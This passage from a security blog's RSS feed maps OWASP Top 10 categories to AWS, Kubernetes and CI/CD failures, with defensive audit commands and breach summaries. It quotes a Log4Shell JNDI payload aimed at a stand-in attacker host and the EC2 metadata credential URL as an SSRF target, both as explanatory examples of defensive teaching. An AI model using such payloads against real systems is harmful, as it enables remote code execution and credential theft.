<p><strong>Treating IAM Access Analyzer findings as one-time.</strong> Access Analyzer runs continuously. A new resource policy that grants external access generates a new finding. If you archive findings without fixing the underlying policy, you lose visibility. Archive only findings that represent intentional, documented cross-account access.</p>
<p><strong>Confusing &#8220;no GuardDuty findings&#8221; with &#8220;no problem.&#8221;</strong> GuardDuty&#8217;s <code class="" data-line="">Policy:S3/BucketAnonymousAccessGranted</code> only fires when access is newly granted during GuardDuty&#8217;s monitoring window. A bucket that was made public before GuardDuty was enabled will not generate a finding — GuardDuty does not retroactively scan all bucket policies. Use AWS Config for retroactive compliance checks; use GuardDuty for real-time detection of new violations.</p>
<p>For the full IAM attack chain that broken access control enables — including <a href="/aws-iam-privilege-escalation-passrole/">IAM privilege escalation paths via iam:PassRole</a> — see IAM series EP08. The privilege escalation analysis belongs alongside the access control audit.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Control</th>
<th>What It Does</th>
<th>AWS Service</th>
</tr>
</thead>
<tbody>
<tr>
<td>Account-level S3 public access block</td>
<td>Prevents any bucket from becoming public</td>
<td>S3 Control</td>
</tr>
<tr>
<td>SCP: deny public access block disable</td>
<td>Prevents disabling the account-level block</td>
<td>Organizations</td>
</tr>
<tr>
<td>AWS Config: <code class="" data-line="">S3_BUCKET_PUBLIC_READ_PROHIBITED</code></td>
<td>Flags buckets that are or become public</td>
<td>AWS Config</td>
</tr>
<tr>
<td>GuardDuty: <code class="" data-line="">Policy:S3/BucketAnonymousAccessGranted</code></td>
<td>Detects new public access grants</td>
<td>GuardDuty</td>
</tr>
<tr>
<td>IAM Access Analyzer</td>
<td>Finds all resources with external access grants</td>
<td>Access Analyzer</td>
</tr>
<tr>
<td>CloudTrail S3 data events</td>
<td>Captures GetObject/PutObject for audit</td>
<td>CloudTrail</td>
</tr>
<tr>
<td>IAM policy generation</td>
<td>Generates least-privilege policy from actual usage</td>
<td>Access Analyzer</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li><strong>Broken access control in AWS</strong> (OWASP A01) is the most common cloud security failure — IAM wildcards, public S3, and broad trust policies are the three primary manifestations</li>
<li>A public S3 bucket with 47 million records was active for six months without a single alert — because the detection controls (AWS Config rules, GuardDuty) weren&#8217;t enabled to look for it</li>
<li>The structural fix is the account-level S3 public access block enforced by SCP — detection tools catch violations; the SCP prevents the violation from being possible</li>
<li>IAM Access Analyzer provides continuous visibility into every resource that grants external access — enable it in every account</li>
<li>The red phase can be run with read-only permissions against your own account — the audit script above reveals your current A01 exposure in under five minutes</li>
<li>Fixing A01 without enabling the A09 controls (CloudTrail data events, GuardDuty, AWS Config) leaves you blind to whether the fix is working</li>
<li>Use Access Analyzer&#8217;s policy generation feature to move from wildcard policies to least-privilege without guessing</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP05 covers MFA fatigue attacks — how the Uber and Okta breaches worked at the authentication layer, how to simulate push-notification fatigue in a test environment, and the structural fix: phishing-resistant MFA using FIDO2 hardware keys. The identity layer is where most cloud compromises start — understanding how push MFA fails is the prerequisite for knowing why hardware keys are the only structural answer.</p>
<p>Get EP05 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fbroken-access-control-aws-cloud%2F&amp;linkname=Broken%20Access%20Control%20in%20AWS%3A%20From%20Misconfigured%20S3%20to%20Admin" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fbroken-access-control-aws-cloud%2F&amp;linkname=Broken%20Access%20Control%20in%20AWS%3A%20From%20Misconfigured%20S3%20to%20Admin" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fbroken-access-control-aws-cloud%2F&amp;linkname=Broken%20Access%20Control%20in%20AWS%3A%20From%20Misconfigured%20S3%20to%20Admin" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fbroken-access-control-aws-cloud%2F&amp;linkname=Broken%20Access%20Control%20in%20AWS%3A%20From%20Misconfigured%20S3%20to%20Admin" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fbroken-access-control-aws-cloud%2F&amp;linkname=Broken%20Access%20Control%20in%20AWS%3A%20From%20Misconfigured%20S3%20to%20Admin" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fbroken-access-control-aws-cloud%2F&amp;linkname=Broken%20Access%20Control%20in%20AWS%3A%20From%20Misconfigured%20S3%20to%20Admin" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fbroken-access-control-aws-cloud%2F&amp;linkname=Broken%20Access%20Control%20in%20AWS%3A%20From%20Misconfigured%20S3%20to%20Admin" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fbroken-access-control-aws-cloud%2F&#038;title=Broken%20Access%20Control%20in%20AWS%3A%20From%20Misconfigured%20S3%20to%20Admin" data-a2a-url="https://linuxcent.com/broken-access-control-aws-cloud/" data-a2a-title="Broken Access Control in AWS: From Misconfigured S3 to Admin"></a></p><p>The post <a href="https://linuxcent.com/broken-access-control-aws-cloud/">Broken Access Control in AWS: From Misconfigured S3 to Admin</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/broken-access-control-aws-cloud/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1852</post-id>	</item>
		<item>
		<title>OWASP Top 10 Mapped to Cloud Infrastructure: Beyond Web Apps</title>
		<link>https://linuxcent.com/owasp-top-10-cloud-infrastructure/</link>
					<comments>https://linuxcent.com/owasp-top-10-cloud-infrastructure/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Tue, 19 May 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[Infrastructure Security]]></category>
		<category><![CDATA[Kubernetes]]></category>
		<category><![CDATA[OWASP]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1846</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 11</span> <span class="rt-label rt-postfix">minutes</span></span>OWASP Top 10 mapped to cloud infrastructure: every category has an AWS, Kubernetes, or Linux equivalent. Use it as an attack-path checklist, not a web-app framework.</p>
<p>The post <a href="https://linuxcent.com/owasp-top-10-cloud-infrastructure/">OWASP Top 10 Mapped to Cloud Infrastructure: Beyond Web Apps</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 11</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security</a> → <strong>OWASP Top 10 mapped to cloud infrastructure</strong> → <a href="/cloud-security-breaches-2020-2025/">EP03: Cloud security breaches 2020–2025</a></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>OWASP Top 10 cloud infrastructure</strong> mapping shows that every category has a direct cloud-native equivalent — this is not a web-app-only taxonomy</li>
<li>A01 Broken Access Control = IAM wildcards, public S3, overly permissive trust policies</li>
<li>A07 Authentication Failures = MFA fatigue, session token theft, push-notification abuse</li>
<li>A08 Software/Data Integrity = compromised build pipelines, unsigned container images, secrets in CI/CD</li>
<li>A10 SSRF = EC2 metadata endpoint abuse, IMDSv1 credential theft (the Capital One attack vector)</li>
<li>Every major cloud breach 2020–2025 lands in one of these ten categories — the taxonomy was always infrastructure-applicable</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> All categories — A01 through A10. This episode is the reference map for the entire series.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────┐
│           OWASP TOP 10 → CLOUD INFRASTRUCTURE MAPPING              │
│                                                                     │
│  OWASP (2021)              CLOUD EQUIVALENT          REAL BREACH    │
│  ─────────────────────────────────────────────────────────────────  │
│  A01 Broken Access Ctrl  → IAM wildcards, public S3  Capital One    │
│  A02 Cryptographic Fail  → Plaintext secrets, weak   CircleCI       │
│                            KMS config                               │
│  A03 Injection           → Log4j JNDI, SSRF as       Log4Shell      │
│                            injection variant                        │
│  A04 Insecure Design     → --privileged containers   runc CVEs      │
│                            no seccomp/AppArmor                      │
│  A05 Security Misconfig  → K8s RBAC defaults, open   Multiple       │
│                            etcd ports                               │
│  A06 Vulnerable Comps    → Transitive deps, outdated  XZ Utils      │
│                            base images                              │
│  A07 Auth Failures       → MFA fatigue, stolen        Uber, Okta    │
│                            session tokens                           │
│  A08 SW/Data Integrity   → Unsigned artifacts,        SolarWinds    │
│                            compromised pipelines                    │
│  A09 Logging/Monitoring  → Missing CloudTrail,        Most          │
│                            no workload telemetry                    │
│  A10 SSRF                → EC2 IMDS abuse, metadata  Capital One    │
│                            credential theft                         │
└─────────────────────────────────────────────────────────────────────┘
</code></pre>
<p><strong>OWASP Top 10 cloud infrastructure</strong> mapping is not a translation exercise — it is a recognition that the same classes of failure that compromise web applications also compromise cloud infrastructure, Kubernetes clusters, and CI/CD pipelines. The language shifts; the attack classes don&#8217;t.</p>
<hr />
<h2 id="why-engineers-treat-owasp-as-a-web-app-only-concern">Why Engineers Treat OWASP as a Web-App-Only Concern</h2>
<p>I kept hearing OWASP Top 10 in web application security reviews. The AppSec team ran it through their checklist. The infrastructure team shrugged — &#8220;that&#8217;s for the developers.&#8221; Then I looked at the actual cloud breaches: Capital One, Uber, CircleCI, SolarWinds. Every one of them mapped to an OWASP category.</p>
<p>The confusion comes from OWASP&#8217;s origins. The project started in 2001 focused on web application vulnerabilities. SQL injection, XSS, broken authentication against HTTP endpoints. The cloud and container ecosystem didn&#8217;t exist. So the examples stayed web-application-centric even as the underlying failure classes proved universal.</p>
<p>The 2021 OWASP Top 10 update is more abstracted than its predecessors — intentionally. &#8220;Broken Access Control&#8221; doesn&#8217;t say &#8220;SQL injection.&#8221; It says access control. That applies to every IAM policy that has <code class="" data-line="">&quot;Action&quot;: &quot;*&quot;</code> where it shouldn&#8217;t.</p>
<p>This episode makes the mapping explicit. One OWASP category at a time.</p>
<hr />
<h2 id="a01-broken-access-control-iam-wildcards-and-public-s3">A01: Broken Access Control — IAM Wildcards and Public S3</h2>
<p><strong>Web equivalent:</strong> A user can access other users&#8217; records by modifying the URL parameter.</p>
<p><strong>Cloud equivalent:</strong> An IAM role with <code class="" data-line="">&quot;Action&quot;: &quot;*&quot;</code> on <code class="" data-line="">&quot;Resource&quot;: &quot;*&quot;</code>. An S3 bucket with public read. A cross-account trust policy that allows any principal in the account, not just a specific role.</p>
<p>Broken access control in cloud infrastructure means the principal can reach a resource it should not be able to reach, because the access control decision was not made or was made incorrectly.</p>
<p>The Capital One breach (2019, disclosed publicly) is the canonical example. A WAF running on EC2 had an IAM role attached. That role had permissions to list and retrieve objects from S3 buckets. SSRF against the WAF reached the EC2 metadata endpoint and retrieved the IAM role credentials. Those credentials then accessed 100 million customer records. The SSRF was A10. The fact that the WAF had access to customer data S3 buckets was A01.</p>
<pre><code class="" data-line="">aws s3control get-public-access-block --account-id $(aws sts get-caller-identity --query Account --output text)

# Find buckets that override the account-level block
aws s3api list-buckets --query &#039;Buckets[].Name&#039; --output text | \
  tr &#039;\t&#039; &#039;\n&#039; | \
  while read bucket; do
    result=$(aws s3api get-public-access-block --bucket &quot;$bucket&quot; 2&gt;/dev/null)
    if echo &quot;$result&quot; | grep -q &#039;&quot;BlockPublicAcls&quot;: false&#039;; then
      echo &quot;PUBLIC ACCESS NOT BLOCKED: $bucket&quot;
    fi
  done
</code></pre>
<hr />
<h2 id="a02-cryptographic-failures-plaintext-secrets-and-weak-kms-config">A02: Cryptographic Failures — Plaintext Secrets and Weak KMS Config</h2>
<p><strong>Web equivalent:</strong> Passwords stored as MD5 hashes. Credit card numbers in plaintext in the database.</p>
<p><strong>Cloud equivalent:</strong> <code class="" data-line="">DATABASE_URL=postgres://user:password@host/db</code> in a <code class="" data-line="">.env</code> file committed to a public repository. An S3 bucket with sensitive data where server-side encryption is not enforced. KMS key policies that allow <code class="" data-line="">kms:Decrypt</code> to any principal in the account.</p>
<p>Cryptographic failures in the cloud are less about broken algorithms and more about secrets that aren&#8217;t secret. The CircleCI breach (January 2023) exposed customer secrets — API tokens, AWS credentials, private keys — that customers had stored in CircleCI&#8217;s environment variables. The attacker compromised CircleCI&#8217;s infrastructure and exfiltrated those secrets. The cryptographic failure was that secrets were stored in a way that could be exfiltrated when the platform was compromised, rather than being bound to hardware or using short-lived credentials that couldn&#8217;t be replayed.</p>
<pre><code class="" data-line=""># Check if default EBS encryption is enabled (prevents data at rest failures)
aws ec2 get-ebs-encryption-by-default --region us-east-1

# Check for S3 buckets without default encryption
aws s3api list-buckets --query &#039;Buckets[].Name&#039; --output text | \
  tr &#039;\t&#039; &#039;\n&#039; | \
  while read bucket; do
    enc=$(aws s3api get-bucket-encryption --bucket &quot;$bucket&quot; 2&gt;/dev/null)
    if [ -z &quot;$enc&quot; ]; then
      echo &quot;NO DEFAULT ENCRYPTION: $bucket&quot;
    fi
  done
</code></pre>
<hr />
<h2 id="a03-injection-log4shell-and-ssrf-as-injection-variants">A03: Injection — Log4Shell and SSRF as Injection Variants</h2>
<p><strong>Web equivalent:</strong> SQL injection via unsanitized query parameters.</p>
<p><strong>Cloud equivalent:</strong> Log4Shell (CVE-2021-44228) used JNDI lookup injection via HTTP headers to execute arbitrary code in Java applications. SSRF (Server-Side Request Forgery) is an injection variant where attacker-controlled input causes the server to make requests to internal endpoints — including <code class="" data-line="">http://169.254.169.254/latest/meta-data/</code>.</p>
<p>Log4Shell (December 2021) demonstrated injection against infrastructure directly. The <code class="" data-line="">User-Agent</code> or <code class="" data-line="">X-Forwarded-For</code> header contained <code class="" data-line="">${jndi:ldap://attacker.com/exploit}</code>. The logging framework evaluated it. The outcome was remote code execution on any Java application using Log4j 2.x.</p>
<p>The fix was not &#8220;validate user input better.&#8221; The fix was patching Log4j and — for SSRF — enforcing IMDSv2 (which requires a PUT request with a session token that a naive SSRF cannot produce).</p>
<pre><code class="" data-line=""># Check if all EC2 instances require IMDSv2 (prevents SSRF-to-metadata attacks)
aws ec2 describe-instances \
  --query &#039;Reservations[].Instances[].{ID:InstanceId,IMDSv2:MetadataOptions.HttpTokens}&#039; \
  --output table
# Desired: HttpTokens = &quot;required&quot; for all instances
</code></pre>
<hr />
<h2 id="a04-insecure-design-privileged-containers-and-missing-runtime-controls">A04: Insecure Design — Privileged Containers and Missing Runtime Controls</h2>
<p><strong>Web equivalent:</strong> Application architecture where any authenticated user can reach administrative functions without additional authorization checks.</p>
<p><strong>Cloud equivalent:</strong> A container deployed with <code class="" data-line="">--privileged: true</code> or <code class="" data-line="">allowPrivilegeEscalation: true</code>. A Kubernetes pod without <code class="" data-line="">securityContext</code> restricting capabilities. A cluster with no admission controller enforcing pod security standards.</p>
<p>Insecure design in the container context means the security controls that should prevent container breakout were never there. They weren&#8217;t removed — they were never designed in. The kernel doesn&#8217;t enforce namespace isolation when a container has <code class="" data-line="">CAP_SYS_ADMIN</code>. The attacker doesn&#8217;t exploit a vulnerability — they use capabilities the design granted.</p>
<pre><code class="" data-line=""># Find pods running as root or with privileged flag
kubectl get pods -A -o json | \
  jq -r &#039;.items[] | 
    select(
      (.spec.containers[].securityContext.privileged == true) or
      (.spec.securityContext.runAsNonRoot != true)
    ) | 
    &quot;\(.metadata.namespace)/\(.metadata.name)&quot;&#039;
</code></pre>
<hr />
<h2 id="a05-security-misconfiguration-default-kubernetes-rbac-and-open-ports">A05: Security Misconfiguration — Default Kubernetes RBAC and Open Ports</h2>
<p><strong>Web equivalent:</strong> Default admin credentials not changed. Directory listing enabled on the web server.</p>
<p><strong>Cloud equivalent:</strong> <code class="" data-line="">kubectl</code> access with <code class="" data-line="">cluster-admin</code> ClusterRoleBinding for the default service account. <code class="" data-line="">etcd</code> port 2379 accessible from the pod network. AWS security groups with <code class="" data-line="">0.0.0.0/0</code> on port 22.</p>
<p>Security misconfiguration in Kubernetes is particularly common because the defaults in older Kubernetes versions were not secure-by-default. The <code class="" data-line="">default</code> service account in each namespace mounts a service account token that can authenticate to the API server. In clusters without RBAC properly configured, that token can enumerate and modify resources.</p>
<pre><code class="" data-line=""># Check what the default service account can do in a namespace
kubectl auth can-i --list --as=system:serviceaccount:default:default -n default

# Find ClusterRoleBindings that bind cluster-admin to non-system subjects
kubectl get clusterrolebindings -o json | \
  jq &#039;.items[] | 
    select(.roleRef.name == &quot;cluster-admin&quot;) | 
    {name: .metadata.name, subjects: .subjects}&#039;
</code></pre>
<hr />
<h2 id="a06-vulnerable-and-outdated-components-transitive-dependencies-and-base-images">A06: Vulnerable and Outdated Components — Transitive Dependencies and Base Images</h2>
<p><strong>Web equivalent:</strong> An npm package in the dependency tree has a known CVE. The application ships with an outdated version of OpenSSL.</p>
<p><strong>Cloud equivalent:</strong> A container base image built from <code class="" data-line="">ubuntu:20.04</code> six months ago, now carrying 47 critical CVEs in installed packages. A Lambda function with a vendored boto3 version that has a known vulnerability. XZ Utils (CVE-2024-3094) — a backdoor inserted into the release tarball of a compression library present in almost every major Linux distribution.</p>
<p>XZ Utils is the defining example of this category in the infrastructure context. The attack was supply chain: two years of social engineering against a maintainer, gaining commit access, inserting a backdoor in the release tarball rather than the source repository (so source audits wouldn&#8217;t catch it). The XZ backdoor targeted SSH servers on systems using <code class="" data-line="">systemd</code> — it would have given the attacker remote code execution on SSH servers across Fedora, Debian, and Ubuntu before it was caught five weeks before broad distribution release.</p>
<pre><code class="" data-line=""># Scan a container image for known CVEs (requires trivy)
trivy image --severity HIGH,CRITICAL your-registry/your-image:tag

# Check Lambda function runtime versions against AWS&#039;s deprecation schedule
aws lambda list-functions \
  --query &#039;Functions[].{Name:FunctionName,Runtime:Runtime,LastModified:LastModified}&#039; \
  --output table
</code></pre>
<hr />
<h2 id="a07-identification-and-authentication-failures-mfa-fatigue-and-stolen-tokens">A07: Identification and Authentication Failures — MFA Fatigue and Stolen Tokens</h2>
<p><strong>Web equivalent:</strong> Session tokens that don&#8217;t expire. Password reset links that work indefinitely.</p>
<p><strong>Cloud equivalent:</strong> Push-notification MFA that can be exhausted by fatigue attacks. AWS console sessions with 12-hour validity. OAuth tokens stored in browser local storage. SAML assertions that can be replayed.</p>
<p>The Uber breach (September 2022) is the canonical cloud/SaaS example. A contractor&#8217;s credentials were obtained via social engineering. The attacker sent repeated Duo push notifications — the contractor rejected them. The attacker then sent a WhatsApp message claiming to be IT support and asking the contractor to accept the next notification. They did. From there, the attacker found a network share containing a PowerShell script with hardcoded admin credentials for Uber&#8217;s Thycotic PAM system — full access to the Uber internal network.</p>
<p>The authentication failure was two-layered: push MFA that could be fatigue-attacked, and credentials stored in plaintext in an accessible location.</p>
<pre><code class="" data-line=""># List IAM users with console access but no MFA enrolled
aws iam get-account-summary | jq &#039;{AccountMFAEnabled: .SummaryMap.AccountMFAEnabled}&#039;

# Find specific users without MFA
aws iam list-users --query &#039;Users[].UserName&#039; --output text | \
  tr &#039;\t&#039; &#039;\n&#039; | \
  while read user; do
    mfa=$(aws iam list-mfa-devices --user-name &quot;$user&quot; --query &#039;MFADevices&#039; --output text)
    if [ -z &quot;$mfa&quot; ]; then
      echo &quot;NO MFA: $user&quot;
    fi
  done
</code></pre>
<hr />
<h2 id="a08-software-and-data-integrity-failures-compromised-build-pipelines">A08: Software and Data Integrity Failures — Compromised Build Pipelines</h2>
<p><strong>Web equivalent:</strong> Pulling npm packages without verifying checksums. Deploying a build without artifact signing.</p>
<p><strong>Cloud equivalent:</strong> A CI/CD pipeline that pulls dependencies from an unauthenticated source. A container image built from a <code class="" data-line="">Dockerfile</code> that pulls the latest version of a base image without pinning the digest. A GitHub Actions workflow that references a third-party action at a mutable tag rather than a commit SHA.</p>
<p>SolarWinds (December 2020) is the infrastructure-scale example. The attacker compromised SolarWinds&#8217; build system. The malicious code (SUNBURST) was inserted into the Orion software build process, signed with SolarWinds&#8217; legitimate code signing certificate, and distributed to approximately 18,000 customers via the normal software update mechanism. The artifact was signed. The signature verified. The code was malicious.</p>
<p>The software integrity failure was that the build pipeline itself was not monitored or hardened — an attacker who controlled the build environment could produce signed, trusted artifacts.</p>
<pre><code class="" data-line=""># Check GitHub Actions workflows for mutable action references (uses @main or @v1 instead of SHA)
grep -r &quot;uses:&quot; .github/workflows/ | grep -v &quot;@[a-f0-9]\{40\}&quot;

# Verify a container image digest before deployment
docker pull your-registry/your-image:tag
docker inspect your-registry/your-image:tag --format=&#039;{{.Id}}&#039;
# Compare this digest to the pinned value in your deployment manifest
</code></pre>
<hr />
<h2 id="a09-security-logging-and-monitoring-failures-what-you-cant-see-you-cant-stop">A09: Security Logging and Monitoring Failures — What You Can&#8217;t See, You Can&#8217;t Stop</h2>
<p><strong>Web equivalent:</strong> No access logs on the web server. No alerting on repeated failed login attempts.</p>
<p><strong>Cloud equivalent:</strong> CloudTrail not enabled in all regions. VPC Flow Logs disabled. No GuardDuty. Container workloads with no runtime security monitoring. Lambda functions that log errors to <code class="" data-line="">/dev/null</code>.</p>
<p>This is the category that causes the 11-day detection time from EP01. The attacker&#8217;s techniques generated events. The events were not collected, or collected but not alerting, or alerting but not investigated.</p>
<pre><code class="" data-line=""># Verify CloudTrail is logging in all regions
aws cloudtrail describe-trails --include-shadow-trails true \
  --query &#039;trailList[?IsMultiRegionTrail==`true`].{Name:Name,Bucket:S3BucketName,Logging:HasCustomEventSelectors}&#039;

# Check which regions have GuardDuty disabled
for region in $(aws ec2 describe-regions --query &#039;Regions[].RegionName&#039; --output text); do
  status=$(aws guardduty list-detectors --region &quot;$region&quot; --query &#039;DetectorIds&#039; --output text 2&gt;/dev/null)
  if [ -z &quot;$status&quot; ]; then
    echo &quot;GUARDDUTY DISABLED: $region&quot;
  fi
done
</code></pre>
<hr />
<h2 id="a10-server-side-request-forgery-ssrf-ec2-metadata-and-imdsv1">A10: Server-Side Request Forgery (SSRF) — EC2 Metadata and IMDSv1</h2>
<p><strong>Web equivalent:</strong> An application fetches a URL provided by the user. The user provides <code class="" data-line="">http://internal-service/admin</code>.</p>
<p><strong>Cloud equivalent:</strong> An application fetches a URL provided by the user (or constructed from user input). The user provides <code class="" data-line="">http://169.254.169.254/latest/meta-data/iam/security-credentials/</code>. The response contains temporary IAM credentials valid for the attached instance role.</p>
<p>This is how the Capital One breach worked. A WAF instance had a SSRF vulnerability. The attacker exploited it to reach the EC2 Instance Metadata Service (IMDS). IMDSv1 has no authentication — any HTTP GET to the metadata endpoint from inside the instance returns credentials. Those credentials had overly permissive S3 access (A01). The result was 100 million records exfiltrated.</p>
<p>IMDSv2 requires a PUT request to get a session token before credentials can be retrieved — a SSRF via GET cannot retrieve IMDSv2 credentials. Enforcing IMDSv2 closes the SSRF-to-credentials path.</p>
<pre><code class="" data-line=""># Check all EC2 instances for IMDSv1 (HttpTokens != &quot;required&quot; means vulnerable)
aws ec2 describe-instances \
  --query &#039;Reservations[].Instances[].{
    ID:InstanceId,
    Name:Tags[?Key==`Name`]|[0].Value,
    IMDSv2:MetadataOptions.HttpTokens,
    State:State.Name
  }&#039; \
  --output table

# Enforce IMDSv2 on a specific instance
aws ec2 modify-instance-metadata-options \
  --instance-id i-0123456789abcdef0 \
  --http-tokens required \
  --http-endpoint enabled
</code></pre>
<hr />
<h2 id="the-series-attack-map-which-episodes-cover-which-categories">The Series Attack Map: Which Episodes Cover Which Categories</h2>
<table>
<thead>
<tr>
<th>OWASP</th>
<th>Category</th>
<th>Purple Team Episode</th>
</tr>
</thead>
<tbody>
<tr>
<td>A01</td>
<td>Broken Access Control</td>
<td>EP04: <a href="/broken-access-control-aws/">Broken access control in AWS</a></td>
</tr>
<tr>
<td>A02</td>
<td>Cryptographic Failures</td>
<td>EP06 (partial): <a href="/cicd-secrets-exposure/">CI/CD secrets exposure</a></td>
</tr>
<tr>
<td>A03</td>
<td>Injection</td>
<td>EP07: SSRF to cloud metadata</td>
</tr>
<tr>
<td>A04</td>
<td>Insecure Design</td>
<td>EP08: Kubernetes container escape</td>
</tr>
<tr>
<td>A05</td>
<td>Security Misconfiguration</td>
<td>EP08: Kubernetes container escape</td>
</tr>
<tr>
<td>A06</td>
<td>Vulnerable Components</td>
<td>EP09: Supply chain attacks</td>
</tr>
<tr>
<td>A07</td>
<td>Authentication Failures</td>
<td>EP05: <a href="/mfa-fatigue-attack/">MFA fatigue attacks</a></td>
</tr>
<tr>
<td>A08</td>
<td>SW/Data Integrity</td>
<td>EP06: <a href="/cicd-secrets-exposure/">CI/CD secrets exposure</a>, EP09: Supply chain</td>
</tr>
<tr>
<td>A09</td>
<td>Logging/Monitoring Failures</td>
<td>EP11: Detection engineering with eBPF</td>
</tr>
<tr>
<td>A10</td>
<td>SSRF</td>
<td>EP07: SSRF to cloud metadata</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="run-this-in-your-own-environment-owasp-coverage-self-assessment">Run This in Your Own Environment: OWASP Coverage Self-Assessment</h2>
<p>Run this against your AWS account and record the results as your OWASP A01–A10 baseline before the EP04 exercise:</p>
<pre><code class="" data-line="">#!/bin/bash
# Purple Team EP02 — OWASP Cloud Coverage Check
# Run in an account with read-only IAM permissions

